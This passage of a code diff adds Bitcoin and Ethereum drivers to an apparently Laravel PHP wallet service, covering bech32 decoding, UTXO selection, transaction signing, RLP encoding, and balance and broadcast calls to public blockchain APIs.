|
||||
*/
|
||||
public static function decodeBech32(string $address): array
|
||||
{
|
||||
$address = strtolower(trim($address));
|
||||
$pos = strrpos($address, '1');
|
||||
if ($pos === false || $pos < 1) {
|
||||
throw new RuntimeException('Invalid bech32');
|
||||
}
|
||||
$hrp = substr($address, 0, $pos);
|
||||
if ($hrp !== 'bc' && $hrp !== 'tb') {
|
||||
throw new RuntimeException('Unsupported bech32 hrp');
|
||||
}
|
||||
$dataPart = substr($address, $pos + 1);
|
||||
$charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
|
||||
$values = [];
|
||||
for ($i = 0, $len = strlen($dataPart); $i < $len; $i++) {
|
||||
$idx = strpos($charset, $dataPart[$i]);
|
||||
if ($idx === false) {
|
||||
throw new RuntimeException('Invalid bech32 character');
|
||||
}
|
||||
$values[] = $idx;
|
||||
}
|
||||
if (count($values) < 7) {
|
||||
throw new RuntimeException('Invalid bech32 length');
|
||||
}
|
||||
if (! self::bech32Verify($hrp, $values)) {
|
||||
throw new RuntimeException('Invalid bech32 checksum');
|
||||
}
|
||||
$values = array_slice($values, 0, -6);
|
||||
$version = $values[0];
|
||||
if ($version > 16) {
|
||||
throw new RuntimeException('Invalid witness version');
|
||||
}
|
||||
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
|
||||
if ($program === null) {
|
||||
throw new RuntimeException('Invalid witness program');
|
||||
}
|
||||
$len = strlen($program);
|
||||
if ($len < 2 || $len > 40) {
|
||||
throw new RuntimeException('Invalid witness program length');
|
||||
}
|
||||
if ($version === 0 && $len !== 20 && $len !== 32) {
|
||||
throw new RuntimeException('Invalid v0 witness program');
|
||||
}
|
||||
|
||||
return ['version' => $version, 'program' => $program];
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Verify(string $hrp, array $values): bool
|
||||
{
|
||||
return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
private static function bech32HrpExpand(string $hrp): array
|
||||
{
|
||||
$ret = [];
|
||||
$len = strlen($hrp);
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$ret[] = ord($hrp[$i]) >> 5;
|
||||
}
|
||||
$ret[] = 0;
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$ret[] = ord($hrp[$i]) & 31;
|
||||
}
|
||||
|
||||
return $ret;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Polymod(array $values): int
|
||||
{
|
||||
$gen = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
|
||||
$chk = 1;
|
||||
foreach ($values as $v) {
|
||||
$b = $chk >> 25;
|
||||
$chk = (($chk & 0x1ffffff) << 5) ^ $v;
|
||||
for ($i = 0; $i < 5; $i++) {
|
||||
if (($b >> $i) & 1) {
|
||||
$chk ^= $gen[$i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $chk;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<int> $data
|
||||
*/
|
||||
private static function convertBits(array $data, int $from, int $to, bool $pad): ?string
|
||||
{
|
||||
$acc = 0;
|
||||
$bits = 0;
|
||||
$ret = '';
|
||||
$maxv = (1 << $to) - 1;
|
||||
foreach ($data as $value) {
|
||||
if ($value < 0 || ($value >> $from) !== 0) {
|
||||
return null;
|
||||
}
|
||||
$acc = ($acc << $from) | $value;
|
||||
$bits += $from;
|
||||
while ($bits >= $to) {
|
||||
$bits -= $to;
|
||||
$ret .= chr(($acc >> $bits) & $maxv);
|
||||
}
|
||||
}
|
||||
if ($pad) {
|
||||
if ($bits > 0) {
|
||||
$ret .= chr(($acc << ($to - $bits)) & $maxv);
|
||||
}
|
||||
} elseif ($bits >= $from || ((($acc << ($to - $bits)) & $maxv) !== 0)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $ret;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,414 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use RuntimeException;
|
||||
|
||||
class BtcDriver implements ChainDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'btc';
|
||||
}
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
|
||||
return BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
$amountSats = $this->toSats($amount);
|
||||
|
||||
$utxos = $this->fetchUtxos($from);
|
||||
if ($utxos === []) {
|
||||
throw new RuntimeException('No UTXOs available');
|
||||
}
|
||||
|
||||
$feeRate = $this->feeRateSatPerVbyte();
|
||||
$selected = [];
|
||||
$totalIn = '0';
|
||||
$target = $amountSats;
|
||||
|
||||
// Greedy select until amount + estimated fee covered.
|
||||
foreach ($utxos as $utxo) {
|
||||
$selected[] = $utxo;
|
||||
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$needed = bcadd($target, (string) $fee, 0);
|
||||
if (bccomp($totalIn, $needed, 0) < 0) {
|
||||
// Try with single output (no change) — dust change becomes fee.
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate);
|
||||
$needed1 = bcadd($target, (string) $fee1, 0);
|
||||
if (bccomp($totalIn, $needed1, 0) < 0) {
|
||||
throw new RuntimeException('Insufficient BTC balance for amount+fee');
|
||||
}
|
||||
$change = '0';
|
||||
$fee = (int) bcsub($totalIn, $target, 0);
|
||||
} else {
|
||||
$change = bcsub($totalIn, $needed, 0);
|
||||
// Drop dust change (< 546 sats) into fee.
|
||||
if (bccomp($change, '546', 0) < 0) {
|
||||
$fee = (int) bcsub($totalIn, $target, 0);
|
||||
$change = '0';
|
||||
}
|
||||
}
|
||||
|
||||
$toScript = BtcAddress::scriptPubKey($to)['script'];
|
||||
$changeScript = BtcAddress::scriptPubKey($from)['script'];
|
||||
$outputs = [['script' => $toScript, 'value' => $target]];
|
||||
if (bccomp($change, '0', 0) > 0) {
|
||||
$outputs[] = ['script' => $changeScript, 'value' => $change];
|
||||
}
|
||||
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
$txid = $this->broadcast($raw);
|
||||
if ($txid === '') {
|
||||
throw new RuntimeException('BTC broadcast failed');
|
||||
}
|
||||
|
||||
return $txid;
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('BTC does not support token transfers');
|
||||
}
|
||||
|
||||
public function isValidAddress(string $address): bool
|
||||
{
|
||||
return BtcAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
}
|
||||
|
||||
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
|
||||
$resp = $this->http()->get($base.'/address/'.rawurlencode($address));
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('BTC balance HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid BTC balance response');
|
||||
}
|
||||
$stats = $json['chain_stats'] ?? [];
|
||||
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
|
||||
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
|
||||
if (! preg_match('/^\d+$/', $funded)) {
|
||||
$funded = '0';
|
||||
}
|
||||
if (! preg_match('/^\d+$/', $spent)) {
|
||||
$spent = '0';
|
||||
}
|
||||
$sats = bcsub($funded, $spent, 0);
|
||||
if (str_starts_with($sats, '-')) {
|
||||
$sats = '0';
|
||||
}
|
||||
|
||||
return $this->fromSats($sats);
|
||||
}
|
||||
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('BTC does not support token balances');
|
||||
}
|
||||
|
||||
private function path(int $index): string
|
||||
{
|
||||
return "m/44'/0'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}>
|
||||
*/
|
||||
private function fetchUtxos(string $address): array
|
||||
{
|
||||
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
|
||||
$resp = $this->http()->get($base.'/address/'.rawurlencode($address).'/utxo');
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('BTC UTXO HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($json as $row) {
|
||||
if (! is_array($row)) {
|
||||
continue;
|
||||
}
|
||||
$txid = (string) ($row['txid'] ?? '');
|
||||
$vout = (int) ($row['vout'] ?? -1);
|
||||
$value = (int) ($row['value'] ?? 0);
|
||||
if ($txid === '' || $vout < 0 || $value <= 0) {
|
||||
continue;
|
||||
}
|
||||
$script = (string) ($row['scriptpubkey'] ?? '');
|
||||
if ($script === '') {
|
||||
// mempool utxo endpoint may omit script; derive p2pkh script for our address
|
||||
$script = BtcAddress::scriptPubKey($address)['script'];
|
||||
}
|
||||
$out[] = [
|
||||
'txid' => $txid,
|
||||
'vout' => $vout,
|
||||
'value' => $value,
|
||||
'scriptpubkey' => $script,
|
||||
];
|
||||
}
|
||||
usort($out, fn ($a, $b) => $b['value'] <=> $a['value']);
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function feeRateSatPerVbyte(): int
|
||||
{
|
||||
$configured = (int) config('coruna.btc.fee_rate', 0);
|
||||
if ($configured > 0) {
|
||||
return $configured;
|
||||
}
|
||||
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
|
||||
try {
|
||||
$resp = $this->http()->get($base.'/v1/fees/recommended');
|
||||
if ($resp->successful()) {
|
||||
$json = $resp->json();
|
||||
$rate = (int) ($json['halfHourFee'] ?? $json['fastestFee'] ?? 0);
|
||||
if ($rate > 0) {
|
||||
return $rate;
|
||||
}
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall through
|
||||
}
|
||||
|
||||
return 10;
|
||||
}
|
||||
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
|
||||
{
|
||||
// Legacy P2PKH approx: 10 + 148*in + 34*out
|
||||
$vsize = 10 + (148 * $inputs) + (34 * $outputs);
|
||||
|
||||
return max(1, $vsize * max(1, $satPerVbyte));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
*/
|
||||
private function buildAndSign(array $inputs, array $outputs, string $privateKey): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
$vinCount = $this->varInt(count($inputs));
|
||||
$voutCount = $this->varInt(count($outputs));
|
||||
|
||||
$voutPayload = '';
|
||||
foreach ($outputs as $out) {
|
||||
$voutPayload .= $this->u64le($out['value']);
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$voutPayload .= $this->varInt(strlen($script)).$script;
|
||||
}
|
||||
|
||||
$signedVins = '';
|
||||
$pub = hex2bin(BtcAddress::compressedPublicKey($privateKey));
|
||||
if ($pub === false) {
|
||||
throw new RuntimeException('Invalid public key');
|
||||
}
|
||||
|
||||
foreach ($inputs as $i => $in) {
|
||||
$scriptCode = hex2bin($in['scriptpubkey']);
|
||||
if ($scriptCode === false) {
|
||||
throw new RuntimeException('Invalid input script');
|
||||
}
|
||||
|
||||
$vinsForSighash = '';
|
||||
foreach ($inputs as $j => $inj) {
|
||||
$vinsForSighash .= $this->outpoint($inj['txid'], $inj['vout']);
|
||||
if ($j === $i) {
|
||||
$vinsForSighash .= $this->varInt(strlen($scriptCode)).$scriptCode;
|
||||
} else {
|
||||
$vinsForSighash .= $this->varInt(0).'';
|
||||
}
|
||||
$vinsForSighash .= $this->u32le(0xffffffff);
|
||||
}
|
||||
|
||||
$preimage = $version.$vinCount.$vinsForSighash.$voutCount.$voutPayload.$locktime.$this->u32le(1); // SIGHASH_ALL
|
||||
$hash = hash('sha256', hash('sha256', $preimage, true), true);
|
||||
|
||||
$der = $this->signDer($privateKey, $hash)."\x01"; // SIGHASH_ALL
|
||||
$scriptSig = $this->pushData($der).$this->pushData($pub);
|
||||
|
||||
$signedVins .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$signedVins .= $this->varInt(strlen($scriptSig)).$scriptSig;
|
||||
$signedVins .= $this->u32le(0xffffffff);
|
||||
}
|
||||
|
||||
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
|
||||
}
|
||||
|
||||
private function signDer(string $privateKey, string $hash32): string
|
||||
{
|
||||
$ec = new EC('secp256k1');
|
||||
$key = $ec->keyFromPrivate($privateKey);
|
||||
$sig = $key->sign(bin2hex($hash32), ['canonical' => true]);
|
||||
$r = $this->gmpToBytes($sig->r->toString(16));
|
||||
$s = $this->gmpToBytes($sig->s->toString(16));
|
||||
|
||||
return "\x30".chr(4 + strlen($r) + strlen($s))
|
||||
."\x02".chr(strlen($r)).$r
|
||||
."\x02".chr(strlen($s)).$s;
|
||||
}
|
||||
|
||||
private function gmpToBytes(string $hex): string
|
||||
{
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
$bin = hex2bin($hex) ?: '';
|
||||
// High bit set → prepend 0x00 (DER signed integer)
|
||||
if ($bin !== '' && (ord($bin[0]) & 0x80) !== 0) {
|
||||
$bin = "\x00".$bin;
|
||||
}
|
||||
if ($bin === '') {
|
||||
$bin = "\x00";
|
||||
}
|
||||
|
||||
return $bin;
|
||||
}
|
||||
|
||||
private function pushData(string $data): string
|
||||
{
|
||||
$len = strlen($data);
|
||||
if ($len < 0x4c) {
|
||||
return chr($len).$data;
|
||||
}
|
||||
if ($len <= 0xff) {
|
||||
return "\x4c".chr($len).$data;
|
||||
}
|
||||
|
||||
return "\x4d".$this->u16le($len).$data;
|
||||
}
|
||||
|
||||
private function outpoint(string $txid, int $vout): string
|
||||
{
|
||||
$hash = hex2bin($txid);
|
||||
if ($hash === false || strlen($hash) !== 32) {
|
||||
throw new RuntimeException('Invalid txid');
|
||||
}
|
||||
|
||||
return strrev($hash).$this->u32le($vout);
|
||||
}
|
||||
|
||||
private function broadcast(string $rawHex): string
|
||||
{
|
||||
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
|
||||
$resp = $this->http()
|
||||
->withBody($rawHex, 'text/plain')
|
||||
->post($base.'/tx');
|
||||
if (! $resp->successful()) {
|
||||
$body = trim($resp->body());
|
||||
throw new RuntimeException('BTC broadcast HTTP '.$resp->status().($body !== '' ? ": {$body}" : ''));
|
||||
}
|
||||
$txid = trim($resp->body());
|
||||
if (! preg_match('/^[0-9a-fA-F]{64}$/', $txid)) {
|
||||
throw new RuntimeException('Unexpected BTC broadcast response');
|
||||
}
|
||||
|
||||
return strtolower($txid);
|
||||
}
|
||||
|
||||
private function toSats(string $amount): string
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,8})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid BTC amount');
|
||||
}
|
||||
[$whole, $frac] = array_pad(explode('.', $amount, 2), 2, '');
|
||||
$frac = str_pad(substr($frac, 0, 8), 8, '0', STR_PAD_RIGHT);
|
||||
$sats = ltrim($whole.$frac, '0');
|
||||
$sats = $sats === '' ? '0' : $sats;
|
||||
if (bccomp($sats, '0') <= 0) {
|
||||
throw new RuntimeException('Amount must be positive');
|
||||
}
|
||||
|
||||
return $sats;
|
||||
}
|
||||
|
||||
private function fromSats(string $sats): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $sats)) {
|
||||
$sats = '0';
|
||||
}
|
||||
$human = bcdiv($sats, '100000000', 8);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function varInt(int $n): string
|
||||
{
|
||||
if ($n < 0xfd) {
|
||||
return chr($n);
|
||||
}
|
||||
if ($n <= 0xffff) {
|
||||
return "\xfd".$this->u16le($n);
|
||||
}
|
||||
if ($n <= 0xffffffff) {
|
||||
return "\xfe".$this->u32le($n);
|
||||
}
|
||||
|
||||
throw new RuntimeException('varint too large');
|
||||
}
|
||||
|
||||
private function u16le(int $n): string
|
||||
{
|
||||
return pack('v', $n);
|
||||
}
|
||||
|
||||
private function u32le(int $n): string
|
||||
{
|
||||
return pack('V', $n);
|
||||
}
|
||||
|
||||
private function u64le(string $n): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $n)) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
$hex = str_pad(gmp_strval(gmp_init($n, 10), 16), 16, '0', STR_PAD_LEFT);
|
||||
$bin = hex2bin($hex);
|
||||
if ($bin === false) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
return strrev($bin);
|
||||
}
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::timeout(30)->acceptJson();
|
||||
}
|
||||
}
|
||||
@@ -8,12 +8,16 @@ class ChainManager
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TronDriver $tron,
|
||||
private readonly EthDriver $eth,
|
||||
private readonly BtcDriver $btc,
|
||||
) {}
|
||||
|
||||
public function resolve(string $chain): ChainDriver
|
||||
{
|
||||
return match (strtolower($chain)) {
|
||||
'tron', 'trx' => $this->tron,
|
||||
'eth', 'ethereum' => $this->eth,
|
||||
'btc', 'bitcoin' => $this->btc,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use kornrunner\Keccak;
|
||||
use RuntimeException;
|
||||
|
||||
final class EthAddress
|
||||
{
|
||||
public static function fromUncompressedPublicKey(string $publicKeyHex): string
|
||||
{
|
||||
$hex = strtolower($publicKeyHex);
|
||||
if (str_starts_with($hex, '0x')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (str_starts_with($hex, '04')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (strlen($hex) !== 128) {
|
||||
throw new RuntimeException('Expected uncompressed secp256k1 public key');
|
||||
}
|
||||
|
||||
$hash = Keccak::hash(hex2bin($hex), 256);
|
||||
|
||||
return '0x'.substr($hash, -40);
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
return (bool) preg_match('/^0x[0-9a-fA-F]{40}$/', trim($address));
|
||||
}
|
||||
|
||||
public static function normalize(string $address): string
|
||||
{
|
||||
return strtolower(trim($address));
|
||||
}
|
||||
|
||||
/** 20-byte address without 0x, left-padded to 32 bytes for ABI. */
|
||||
public static function toWord(string $address): string
|
||||
{
|
||||
$hex = self::normalize($address);
|
||||
if (str_starts_with($hex, '0x')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (strlen($hex) !== 40) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
}
|
||||
|
||||
return str_pad($hex, 64, '0', STR_PAD_LEFT);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use RuntimeException;
|
||||
|
||||
class EthDriver implements ChainDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'eth';
|
||||
}
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
|
||||
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$wei = $this->toWei($amount);
|
||||
|
||||
return $this->sendLegacy($derived['private_key'], $from, $to, $wei, '0x');
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$units = $this->toTokenUnits($amount);
|
||||
// transfer(address,uint256) selector = a9059cbb
|
||||
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||
|
||||
return $this->sendLegacy($derived['private_key'], $from, $contract, '0', $data);
|
||||
}
|
||||
|
||||
public function isValidAddress(string $address): bool
|
||||
{
|
||||
return EthAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
}
|
||||
|
||||
$hex = $this->rpc('eth_getBalance', [EthAddress::normalize($address), 'latest']);
|
||||
if (! is_string($hex)) {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->fromWei($this->hexToDec($hex));
|
||||
}
|
||||
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
}
|
||||
|
||||
// balanceOf(address)
|
||||
$data = '0x70a08231'.EthAddress::toWord($address);
|
||||
$hex = $this->rpc('eth_call', [[
|
||||
'to' => EthAddress::normalize($contract),
|
||||
'data' => $data,
|
||||
], 'latest']);
|
||||
if (! is_string($hex) || $hex === '' || $hex === '0x') {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->fromTokenUnits($this->hexToDec($hex));
|
||||
}
|
||||
|
||||
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
||||
{
|
||||
$chainId = (int) config('coruna.eth.chain_id', 1);
|
||||
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
|
||||
$gasPriceHex = $this->rpc('eth_gasPrice', []);
|
||||
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
|
||||
throw new RuntimeException('Failed to fetch nonce/gasPrice');
|
||||
}
|
||||
|
||||
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
|
||||
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
|
||||
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
|
||||
}
|
||||
$tx = [
|
||||
'nonce' => $this->hexToDec($nonceHex),
|
||||
'gasPrice' => $this->hexToDec($gasPriceHex),
|
||||
'gas' => $gasLimit,
|
||||
'to' => EthAddress::normalize($to),
|
||||
'value' => $valueWei,
|
||||
'data' => $data === '' ? '0x' : $data,
|
||||
];
|
||||
|
||||
$raw = EthSigner::signLegacy($privateKey, $tx, $chainId);
|
||||
$txid = $this->rpc('eth_sendRawTransaction', [$raw]);
|
||||
if (! is_string($txid) || $txid === '') {
|
||||
throw new RuntimeException('eth_sendRawTransaction failed');
|
||||
}
|
||||
|
||||
return $txid;
|
||||
}
|
||||
|
||||
private function path(int $index): string
|
||||
{
|
||||
return "m/44'/60'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
private function toWei(string $amount): string
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,18})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid ETH amount');
|
||||
}
|
||||
[$whole, $frac] = array_pad(explode('.', $amount, 2), 2, '');
|
||||
$frac = str_pad(substr($frac, 0, 18), 18, '0', STR_PAD_RIGHT);
|
||||
$wei = ltrim($whole.$frac, '0');
|
||||
$wei = $wei === '' ? '0' : $wei;
|
||||
if (bccomp($wei, '0') <= 0) {
|
||||
throw new RuntimeException('Amount must be positive');
|
||||
}
|
||||
|
||||
return $wei;
|
||||
}
|
||||
|
||||
private function fromWei(string $wei): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $wei)) {
|
||||
$wei = '0';
|
||||
}
|
||||
$human = bcdiv($wei, '1000000000000000000', 18);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount): string
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid token amount');
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
$units = bcmul($amount, $factor, 0);
|
||||
if (bccomp($units, '0') <= 0) {
|
||||
throw new RuntimeException('Amount must be positive');
|
||||
}
|
||||
|
||||
return $units;
|
||||
}
|
||||
|
||||
private function fromTokenUnits(string $units): string
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
$units = '0';
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
$human = bcdiv($units, $factor, $decimals);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function hexToDec(string $hex): string
|
||||
{
|
||||
$hex = strtolower($hex);
|
||||
if (str_starts_with($hex, '0x')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if ($hex === '' || $hex === '0') {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return gmp_strval(gmp_init($hex, 16), 10);
|
||||
}
|
||||
|
||||
private function rpc(string $method, array $params): mixed
|
||||
{
|
||||
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
|
||||
$resp = $this->http()->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => $method,
|
||||
'params' => $params,
|
||||
]);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid ETH RPC response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
}
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::timeout(30)->acceptJson()->asJson();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
/**
|
||||
* Minimal RLP encoder for legacy Ethereum transactions.
|
||||
*/
|
||||
final class EthRlp
|
||||
{
|
||||
/**
|
||||
* @param list<string|list<mixed>> $list binary strings or nested lists
|
||||
*/
|
||||
public static function encodeList(array $list): string
|
||||
{
|
||||
$payload = '';
|
||||
foreach ($list as $item) {
|
||||
$payload .= is_array($item) ? self::encodeList($item) : self::encodeString($item);
|
||||
}
|
||||
|
||||
return self::encodeLength(strlen($payload), 0xc0).$payload;
|
||||
}
|
||||
|
||||
public static function encodeString(string $input): string
|
||||
{
|
||||
$len = strlen($input);
|
||||
if ($len === 1 && ord($input) < 0x80) {
|
||||
return $input;
|
||||
}
|
||||
|
||||
return self::encodeLength($len, 0x80).$input;
|
||||
}
|
||||
|
||||
/** Integer → minimal big-endian binary (empty for zero). */
|
||||
public static function intToBin(string|int $value): string
|
||||
{
|
||||
if (is_int($value)) {
|
||||
$value = (string) $value;
|
||||
}
|
||||
if (! preg_match('/^\d+$/', $value)) {
|
||||
throw new \InvalidArgumentException('Invalid integer');
|
||||
}
|
||||
if (bccomp($value, '0') === 0) {
|
||||
return '';
|
||||
}
|
||||
$hex = gmp_strval(gmp_init($value, 10), 16);
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
|
||||
return hex2bin($hex) ?: '';
|
||||
}
|
||||
|
||||
private static function encodeLength(int $len, int $offset): string
|
||||
{
|
||||
if ($len < 56) {
|
||||
return chr($len + $offset);
